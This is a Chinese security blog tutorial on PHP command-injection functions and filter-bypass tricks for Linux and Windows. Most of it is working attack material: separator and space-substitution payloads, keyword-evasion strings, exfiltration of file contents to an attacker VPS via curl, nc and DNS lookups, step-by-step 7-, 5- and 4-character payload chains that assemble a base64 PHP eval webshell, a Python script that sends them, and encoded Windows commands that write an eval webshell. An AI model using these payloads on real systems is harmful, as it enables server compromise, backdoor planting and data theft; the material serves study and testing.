作者:掌控安全-xiao_yi
一、常见命令执行的函数
system()
system
(string $command, int &$return_var = ?): string
执行系统命令,有回显
passthru()
passthru
(string $command, int &$return_var = ?): void
执行系统命令并且显示原始输出
shell_exec()
shell_exec
(string $cmd): string)
通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)
exec()
exec
(string $command, array &$output = ?, int &$return_var = ?): string
执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行
反引号
echo `ls`;
只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用
回调函数
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用
二、Bypass技巧
(1)针对Linux系统
分隔符
换行符 %0a
回车符 %0d(利用fuzz测试从%00-%ff)
连续指令 ;
后台进程 & # java -jar test.jar & 表示进行放到后台执行,无法被ctrl+c杀死
管道符 | # echo 'ls' | bash
逻辑符 || && # skjkfj||ls 由于前面命令不存在而为假,转而执行后面的ls
空格代替
<
$IFS
${IFS}
$IFS$(1-9) #从1到9,可以进行fuzz
{cat,flag.txt}
%09 用于url传递,类似于%09代替空格
过滤特定函数(例如cat)
less, tac, more, less, head, tail, nl, od # 命令代替
ca""t
ca''t
ca``t
ca\t
a=c;b=at;$a$b xxx.php # 变量拼接
c${u}at # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行
l`$u`s
wh$1oami
who$@ami
whoa$*mi
其他思路
a=l;b=s;$a$b # 变量拼接
`echo d2hvYW1p | base64 -d` # base64编码
substr string pos end # 利用字符串切割得到我们想要的字符,但是这种方法的利用考虑尝试.sh文件,未复现
echo ${PATH:0:1}
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo "`expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1`" => $PWD 代表环境变量
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}14${IFS}1
$u # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧
c${u}at index$u.php$u
c`$u`at index$u.php$u
对于无回显情况
对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)
判断思路
-
延时 ls|sleep(3)
-
HTTP请求 curl
-
DNS请求 ping
curl进行检测
-
有一台可以进行通信的vps
-
vps 上执行 nc -lvnp 4444
-
在目标机器上执行curl vps:4444
-
观察vps的连接情况
-
若出现返回,则说明这里是存在命令执行的
-
或者是编写sh脚本
-
curl ip/1.sh > /tmp/1.sh
-
1.sh里面写
-
内容 | nc vps的ip 监听端口
-
让受害机器将数据发送给你
dnslog进行检测
-
由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来
-
推荐如下两个dnslog地址:
-
http://dnslog.cn
-
http://ceye.io/records/dns
注:在实际运用中有如下的局限性
-
1、长度的限制,外带的数据不能过长
-
(解决思路:尝试将结果截断,分批次外带)
-
2、外带出来的数据中不能包含空格,很多特殊字符如(;>?<"'),我fuzz到的结果仅可以拼接_
-
(解决思路:使用Linux的字符替换函数将可能出现的字符替换后再进行外带)
第二条可能是我能力有限,因为我看到网上还是有外带flag的案例,里面就出现了上述不能出现的字符,这个问题还未弄明白,我先把我的思路放在下面,查了一下域名可用字符,合法字符只有中文汉字|_|-这三个
-
这里只能讲一下思路,利用sed函数将空格替换成_,也可以替换成NULL
-
where_is_flag.php的内容是: <?php $flag={xxxxxxxx}?>
-
要目标机器去ping `cat where_is_flag.php|sed s/[[:space:]]/_/`.vflkgp.dnslog.cn
-
sed s/[[:space:]]// 会将cat读取的内容里面的所有空格替换为_
-
ping -c 4 `cat 1.php|sed s/[[:space:]]/_/|sed s/\</_/|sed s/\?/_/|sed s/\;/_/|sed s/\?/_/|sed s/\>/_/|sed s/\(/_/|sed s/\)/_/`.eugcs.ceye.io
-
可以尝试将所有可能出现的字符全部替换一遍
利用思路
-
写shell (直接写入/外部下载)
-
利用http/dns将数据外带
Bypass命令执行长度限制
思路
-
wget 远程下载
-
echo + >写入文件
-
mv 重命名
-
w>d\\ 写文件名后再通过 ls -t>0将文件名全部按时间顺序写入到0中 然后sh 0执行脚本,运气不错的话就可以生成马(因为这里在复现的时候出现了很多插曲)
15个字符限制
-
<?php
-
highlight_file(__FILE__);
-
if(strlen($_GET[1])<15)
-
{
-
echo strlen($_GET[1]);
-
echo shell_exec($_GET[1]);
-
}
-
else
-
{
-
exit("too long");
-
}
-
?>
思路
-
1、 通过 wget localhost/a (只要你的域名够短,不大于8位的域名就可以进行利用)
-
再进行重命名 mv a a.php
-
2、通过echo写入
-
echo \<?php>1
-
echo eval\(>>1
-
echo \$_GET>>1
-
echo \[1\]>>1
-
echo \)\;>>1
7个字符限制
-
<?php
-
highlight_file(__FILE__);
-
if(strlen($_GET[1])<8)
-
{
-
echo strlen($_GET[1]);
-
echo shell_exec($_GET[1]);
-
}
-
else
-
{
-
exit("too long");
-
}
-
?>
思路
这里首先想到wget去远程下载文件,但是发现 wget \a就已经7个字符了,所以这种利用思路在这里就不可行了
然后再想到用echo写入,这里也值得注意的是 echo >>1已经8个字符,远超过了限制
但是秉承上面第二个的思路,那有没有很短的命令也可以进行写入呢?
这里由于思路比较新颖,故而详细的记录一下具体过程
-
介绍一下用到的命令:
-
w>a
-
向目录中写入一些数据并生成a文件
-
ls -t
-
按照时间顺序排列当前文件名
-
sh
-
用/bin/bash 执行文件中的命令集合
这里的思路就是将payload分隔成一条条的命令,然后利用 w> 生成文件名为payload的文件集合,利用ls写到一个文件中,再用sh执行分割的命令, 同时为了防止shell中的特殊字符影响,采用base64编码。
具体流程如下:
-
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7\|base64 -d\>1.php
分解成下面,放到 7byte.txt(尽可能每句话等长度,不然ls -t可能会出现排序错误,同时也要注意特殊字符的影响)
-
m>hp
-
m>1.p\\
-
m>d\>\\
-
m>\ -\\
-
m>e64\\
-
m>bas\\
-
m>7\|\\
-
m>XSk\\
-
m>Fsx\\
-
m>dFV\\
-
m>kX0\\
-
m>bCg\\
-
m>XZh\\
-
m>AgZ\\
-
m>waH\\
-
m>PD9\\
-
m>o\ \\
-
m>ech\\
-
ls -t>0
-
sh 0
用下面的脚本一次请求
-
# coding: utf-8
-
import time
-
import requests
-
url1 = "http://192.168.111.x/demo/rce7.php?1="
-
with open("7byte.txt", 'r') as f:
-
for i in f.readlines():
-
url = url1 + i.strip()
-
requests.get(url)
-
time.sleep(0.2)
-
print(f"已经请求{url}")
-
res = requests.get(url1[:-12]+"/1.php")
-
if res.status_code == 200:
-
print("ok, You have already upload!")
执行成功,成功写了一个shell
-
这是sh 执行的文件的内容 \表示命令未结束
-
0
-
ech\
-
o \
-
PD9\
-
waH\
-
AgZ\
-
XZh\
-
bCg\
-
kX0\
-
dFV\
-
Fsx\
-
XSk\
-
7|\
-
bas\
-
e64\
-
-\
-
d>\
-
1.p\
-
hp
-
a
-
7rce.php
5个字符限制
和7字符思路一致,只是需要思考如何突破 ls -t>z
这里给出如下思路,先生成一个里面存有l
s -t>z
的文件a,利用sh a
产生带有exp的z文件
-
ls -rt>z
-
由于Linux系统中ls默认排序是根据字符顺序排序的,所以拆解命令
-
>l\\
-
>s\ \\
-
>-rt\\
-
>\>z\\
-
ls>a
4个字符限制
同样思路也是解决 ls -t>z
这个问题,但是如果是四个字符的话,很难找到相应的字母来固定ls执行后的顺序,所以这里有新的知识点
输入通配符*, Linux会把第一个列出来的文件名当作命令,剩下的文件名当作参数
-
>id
-
>root
-
*
-
uid=0(root) gid=0(root) 组=0(root)
增加字母来限定被用来当作命令和参数的文件
-
>ls
-
>lss
-
>lsss
-
*s
-
lss lsss
rev将输出内容导致, dir将当前文件列出且不换行
-
>rev
-
echo 1234 > v
-
*v (等同于命令:rev v)
-
ls -t >0
所以我们需要构造的文件名为:0< ht- sl
(这里需要用ls 的参数h 将t往前拉),所以最终payload如下:
-
>dir
-
>e\>
-
>ht-
-
>sl
-
ls>a
-
>dir
-
>f\>
-
>ht-
-
>sl
-
*>v
-
>rev
-
*v>0
-
[root@localhost test]# cat 0
-
ls -th >f
payload如下
-
>hp
-
>p\\
-
>1.\\
-
>\>\\
-
>-d\\
-
>\}\\
-
>IFS\\
-
>\{\\
-
>\$\\
-
>base64\\
-
>\|\\
-
>PD9waHAgZXZhbCgkX0dFVFsxXSk7\\ # 这里是因为我偷懒了,忽略字符长度限制的payload,实际上这里按照思路一个字母一个字母的分割也是没问题的
-
>echo\ \\
(2)针对Windows系统
主要参考来源:urfyyy师傅的文章
(文章在社区,社区的邀请码私我)
社区文章地址:https://bbs.zkaq.cn/t/4557.html
有兴趣的小伙伴可以看下他的文章的原理,我这里仅仅记录总结和复现。
分隔符
这里对分隔符做一些思考,是否像Linux一样存在多种方式进行多行命令执行呢?
-
假设执行这两个明明,中间的分隔符fuzz测试:
-
whoami%7cdir
-
%7c ---------- | ---------- 只会执行 后一个命令
-
%26 ---------- & ---------- 两个命令同时执行
-
%00 ---------- NULL-------- 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)
-
%0a ---------- 换行符------- 执行前一个命令
那么这里又引出了思考,是不是只有&&才可以在windows的DOS命令下连续执行多条命令
-
whoami&&dir&ipconfig
-
whoami|dir||ipconfig
这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。
可以用dir /a/b | more
这个命令感受一些管道符的魅力
空格替代
这里第一个想到的就是字符截取
-
set envar=whoami
-
%envar:~0% # 取出所有字符
-
%envar:~0,6% # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行
使用set可以看到有哪些全局变量是我们可以利用的
现在开始着手从环境变量里取出空格
-
PSModulePath=C:\Program Files\WindowsPowerShell\Modules
-
net%PSModulePath:~10,1%user
-
d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%
利用环境变量在C盘下写一句话,这里需要system权限
-
echo "<?php @eval($_request[abc]);">123.php
-
echo "<?php @eval($_post[a]);">123.php
-
echo%CommonProgramFiles:~10,1%%TJ:~10,1%<%TJ:~-4,1%%TJ:~14,1%%TJ:~15,1%%TJ:~14,1%%CommonProgramFiles:~10,1%%TJ:~8,1%%TJ:~5,1%%TJ:~16,1%%TJ:~0,1%%TJ:~17,1%(%TJ:~7,1%_%TJ:~14,1%%TJ:~-1,1%%TJ:~22,2%[%TJ:~0,1%])%TJ:~11,1%%TJ:~10,1%>%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%
-
%CommonProgramFiles:~10,1% 空格
-
%SystemRoot:~0,3% C:\
-
%TJ:~10,1% "
-
%TJ:~14,1% p
-
%TJ:~-4,1% ?
-
%TJ:~15,1% h
-
%TJ:~8,1% @
-
%TJ:~5,1% e
-
%TJ:~16,1% v
-
%TJ:~0,1% a
-
%TJ:~17,1% l
-
%TJ:~9,1% \
-
%TJ:~7,1% $
-
%TJ:~-1,1% o
-
%TJ:~22,2% st
-
%TJ:~11,1% ;
-
a bcde/$@\";fgphvlrequst?<po
写入成功但是多了双引号,但是echo的时候不加双引号会爆语法错误
我这里给出下面解决思路:
第一种就是在第一个双引号后添加?>使前者闭合,后面的”之前添加一个# 注释掉
我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行
其他无回显和过滤特定函数思路和LInux系统一致
三、总结
bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴点个赞吧!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论